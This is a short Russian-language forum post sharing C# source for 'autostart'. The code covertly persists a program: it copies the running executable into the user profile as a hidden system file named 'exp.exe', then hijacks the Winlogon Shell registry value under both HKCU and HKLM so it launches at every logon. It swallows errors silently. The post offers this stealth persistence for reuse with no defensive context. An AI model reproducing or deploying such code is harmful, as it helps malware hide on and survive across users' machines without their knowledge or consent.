Загрузка...

Автозагрузка C# source

Тема в разделе C# создана пользователем Miladora_inactive2301210 30 май 2019. 217 просмотров

  1. Miladora_inactive2301210
    Miladora_inactive2301210 Автор темы 30 май 2019 Заблокирован(а)
    Код

    string curent = Process.GetCurrentProcess().MainModule.FileName.Split('\\')[Process.GetCurrentProcess().MainModule.FileName.Split('\\').Length - 1];
    string Full = Environment.GetEnvironmentVariable("USERPROFILE") + "\\" + curent;
    string Full2 = Environment.GetEnvironmentVariable("USERPROFILE") + "\\" + "exp.exe";

    if (!File.Exists(Full2))
    {
    File.Copy(Environment.CurrentDirectory + "\\" + curent, Full);
    new FileInfo(Full).Attributes = FileAttributes.Hidden | FileAttributes.System;
    File.Move(Full, Full2);
    File.Delete(Full);
    RegistryKey key = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
    key.SetValue("Shell", "explorer.exe, " + Full2);
    try
    {
    RegistryKey key2 = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true);
    key2.SetValue("Shell", "explorer.exe, " + Full2);
    }
    catch { }
    }
    else
    {

    }
     
    30 май 2019 Изменено
Загрузка...
Top